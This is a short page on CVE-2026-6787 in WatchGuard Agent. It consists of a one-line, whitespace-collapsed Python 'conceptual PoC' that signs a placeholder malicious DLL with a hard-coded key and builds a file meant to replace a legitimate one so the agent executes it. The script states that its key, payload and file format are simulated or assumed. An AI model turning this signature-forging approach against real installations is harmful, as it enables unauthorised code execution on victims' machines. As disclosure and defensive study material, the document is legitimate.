CVE-2026-6787 WatchGuard Agent硬编码密钥漏洞

import hashlib import struct # Conceptual PoC for CVE-2026-6787: Hard-coded Cryptographic Key # This script demonstrates how an attacker might use a leaked key to sign a payload. # 1. Extracted hard-coded key (Simulated) HARDCODED_KEY = b"WatchGuard_Secret_Key_2026" def calculate_signature(data): """ Simulate the signature algorithm used by WatchGuard Agent. In a real scenario, this would be the actual crypto function (e.g., HMAC, AES). """ return hashlib.sha256(HARDCODED_KEY + data).hexdigest() def create_malicious_dll(): """ Create a mock malicious payload. """ # Simple shellcode or DLL placeholder payload = b"MALICIOUS_CODE_EXECUTION_HERE" return payload def main(): print("[*] CVE-2026-6787 PoC: Hard-coded Key Exploit") print("[*] Target: WatchGuard Agent < 1.25.03.0000") # Step 1: Prepare payload payload = create_malicious_dll() print(f"[+] Generated malicious payload size: {len(payload)} bytes") # Step 2: Sign payload using the hard-coded key signature = calculate_signature(payload) print(f"[+] Generated signature using hard-coded key: {signature}") # Step 3: Construct the malicious file structure (Header + Payload + Signature) # Assuming the agent reads a specific file format malicious_file = struct.pack("<I", len(payload)) + payload + signature.encode() print("[+] Malicious file constructed.") print("[*] Next step: Replace the legitimate file with this malicious file.") print("[*] The Agent will load it, verify the signature with the hard-coded key, and execute.") if __name__ == "__main__": main()